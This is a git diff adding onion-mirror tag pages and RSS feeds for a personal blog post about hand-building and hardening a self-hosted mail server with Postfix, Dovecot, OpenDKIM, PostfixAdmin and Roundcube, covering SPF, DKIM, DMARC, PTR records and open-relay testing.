    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/dkim/page/1/index.html b/public-onion/tags/dkim/page/1/index.html new file mode 100644 index 0000000..647f4a0 --- /dev/null +++ b/public-onion/tags/dkim/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dkim/ + + + + + + diff --git a/public-onion/tags/dmarc/index.html b/public-onion/tags/dmarc/index.html new file mode 100644 index 0000000..afb0189 --- /dev/null +++ b/public-onion/tags/dmarc/index.html @@ -0,0 +1,354 @@ + + + + + + + +Dmarc | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) +

    +
    +
    +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    +
    +
    July 24, 2026 · 17 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/dmarc/index.xml b/public-onion/tags/dmarc/index.xml new file mode 100644 index 0000000..933e045 --- /dev/null +++ b/public-onion/tags/dmarc/index.xml @@ -0,0 +1,154 @@ + + + + Dmarc on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dmarc/ + Recent content in Dmarc on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 24 Jul 2026 00:00:00 +0000 + + + Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). + +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/dmarc/page/1/index.html b/public-onion/tags/dmarc/page/1/index.html new file mode 100644 index 0000000..7c4437a --- /dev/null +++ b/public-onion/tags/dmarc/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dmarc/ + + + + + + diff --git a/public-onion/tags/dns/index.html b/public-onion/tags/dns/index.html new file mode 100644 index 0000000..42212b8 --- /dev/null +++ b/public-onion/tags/dns/index.html @@ -0,0 +1,354 @@ + + + + + + + +Dns | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) +

    +
    +
    +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    +
    +
    July 24, 2026 · 17 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/dns/index.xml b/public-onion/tags/dns/index.xml new file mode 100644 index 0000000..5c2fb9d --- /dev/null +++ b/public-onion/tags/dns/index.xml @@ -0,0 +1,154 @@ + + + + Dns on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dns/ + Recent content in Dns on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 24 Jul 2026 00:00:00 +0000 + + + Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). + +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

